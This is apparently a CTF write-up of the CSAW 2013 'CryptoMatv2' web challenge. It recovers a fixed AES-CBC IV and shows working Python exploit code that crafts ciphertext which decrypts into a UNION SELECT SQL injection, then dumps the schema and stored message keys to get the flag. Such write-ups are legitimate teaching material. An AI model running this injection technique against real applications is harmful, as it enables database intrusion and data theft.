CSAW CTF 2013 - Web 400 - CryptoMatv2

Monday, September 23, 2013 » csaw, ctf, stratum auhuur

Web 400 challenge of CSAW CTF 2013

Description

CryptoMatv2 - 400 Points
Cryptomat is back! You know the drill. Get the key from Dog.
http://128.238.66.225

When first visiting the CryptoMat v2 page, it just spits out an error message:

1
You are not using a secure browser! (Compatible browsers expose the string SECURE in the useragent).

After modifying the useragent(firefox: about:config -> general.useragent.override), registration and login, we are welcomed with some infos:

1
2
3
4
5
6
7
8
9
Welcome to the new CryptoMat v2!
We discovered that v1 had some issues with crypto,
so we went back to the drawing board and rearchitected our system.

We're pleased to announce that CMv2 is 100 times as secure as v1.
Our system now utilizes state of the art AES128 CBC encryption!

Once again, welcome to all new and old users!
We hope you enjoy using CryptoMat!

Other than it's secure, it provides the possibility to send crypted message to other users, read sent and received messages as well as search for message.

When sending messages, we can give a receipient, a key to use for encryption, a message title and the text.
When reading a message, we only get some base64 encrypted garbage but after some twiddling we found out that it's indeed the AES128-CBC crypted message text.
The given key is used as-is for the AES cipher and the IV for CBC is a constant: "8k2F2QS480W998Nm".

We found out this by creating a two AES-blocks message and checking :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
plaintext = "0123456789ABCDEFGHIJKLMNOPQRSTUV"
ciphertext = "9GkeDX1UJ68K0fJpPVwzUznEJ0mTjkSJCN3bRegqqrg=".decode("base64")

from Crypto.Cipher import AES
decrypt_ecb = lambda data, key: AES.new(key).decrypt(data)
xor = lambda a,b: "".join(chr(ord(i)^ord(j)) for (i,j) in zip(a,b))

assert(plaintext[16:] == xor(ciphertext[:16], decrypt_ecb(ciphertext[16:], key)))
iv = xor(plaintext[:16], decrypt_ecb(ciphertext[:16], key))
print iv
#encrypt_cbc = lambda data, key, iv: AES.new(key, IV=iv).encrypt(data)

We can now encrypt and decrypt messages without using the server.

The next step was finding a vulnerability in the application.

While trying out the Search functionality, i stumbled over a MySQL error message:

I searched for "title" with the key "key":

1
2
URL: http://128.238.66.225/search.php?query=title&key=key
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\x11B\xca**\xed\xcf\x9f\xf9$\xec>\x86\xce\x92" ORDER BY id ASC LIMIT ?, 10' at line 1

Bingo! The server embeds the encrypted text into the SQL query without quoting.

The exact string produced for the input is:

1
2
3
encrypt_cbc = lambda data, key, iv: AES.new(key, mode = AES.MODE_CBC, IV=iv).encrypt(data)
print `encrypt_cbc("title" + "\x00" * (16 - 5), "key" + "\x00"*(16 - 3), iv)`
#'"\x11B\xca**\xed\xcf\x9f\xf9$\xec>\x86\xce\x92'

So the Server is querying something like >>SELECT * FROM table WHERE text = "" ORDER BY ...<<.

Since we can encrypt and decrypt we can also produce ciphertext that becomes correct SQL here, additionally, the position of the SQL injection is pretty good since we can use UNION SELECT here:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import urllib
import requests
def search(query, key):
        query = "http://128.238.66.225/search.php?query=%s&key=%s" % (urllib.quote(query), urllib.quote(key))
        args = {"cookies": {"PHPSESSID": "..."}, "headers": {"User-Agent": "SECURE"}}
        c = requests.get(query, **args).content
        print c
decrypt_cbc = lambda data, key, iv: AES.new(key, mode = AES.MODE_CBC, IV=iv).decrypt(data)

search(decrypt_cbc('" AND ? UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8'.ljust(128, "#"), key, iv), key)

not the question mark before the UNION: the server filled the LIMIT argument with an argument, since we will make the end of the original query a comment, we have to provide another spot for the argument to get a response:

1
2
3
4
5
6
7
[...]
<tr >
  <td>kasa</td>
  <td>6</td>
  <td><a href="download.php?id=1"><img src="res/dl.png" /></a></td>
</tr>
[...]

Seems like the 6th field which contained the message title is plaintext, we can use this to gather more information about the database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
query = lambda q: search(decrypt_cbc(('" AND ? UNION SELECT 1, 2, 3, 4, 5, (%s), 7, 8' % q).ljust(256, "#"), key, iv), key)

#query('DOES_NOT_EXIST()')
#FUNCTION cryptomat2.DOES_NOT_EXIST does not exist

#query('SELECT GROUP_CONCAT(CONCAT(TABLE_NAME, ".", COLUMN_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = "cryptomat2"')
#message.id,message.to_user_id,message.from_user_id,message.deleted,message.open,message.title,message.key,message.text,user.id,user.name,user.password

query('SELECT GROUP_CONCAT(CONCAT(title, ",", hex(`key`), ",", hex(text)) SEPARATOR "\\n") FROM message WHERE id <= 5')
#Hey there!,AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722,E9F872B26C45C9996D00B435EB591D59
#what?,D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD,28C34EAD73ECBF1F03A299A35400E745
#I HAVE THE KEY,CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA,F7524082F4E9115E7B8CBDC603873A63
#Coolbeans,A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59,F41B9656DF722545F75101B48C5DECDA
#HERE IT IS,52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236,C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E

Okay, we have the first 5 messages from the database (the others were from CTF Players) and the key belonging to them, lets decrypt them:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
messages = """
Hey there!,AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722,E9F872B26C45C9996D00B435EB591D59
what?,D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD,28C34EAD73ECBF1F03A299A35400E745
I HAVE THE KEY,CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA,F7524082F4E9115E7B8CBDC603873A63
Coolbeans,A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59,F41B9656DF722545F75101B48C5DECDA
HERE IT IS,52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236,C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E
""".split("\n")[1:-1]
for title, _key, text in (m.split(",") for m in messages):
        print "%s: %s" % (title, decrypt_cbc(text.decode("hex"), _key.decode("hex"), iv))
#Hey there!: GUESS WHAT?
#what?: you smell
#I HAVE THE KEY: !!!!!!!!!!!
#Coolbeans: lol
#HERE IT IS: KEY{HURR_HURR_CRYPTOC_IZ_FUN}

+= 400.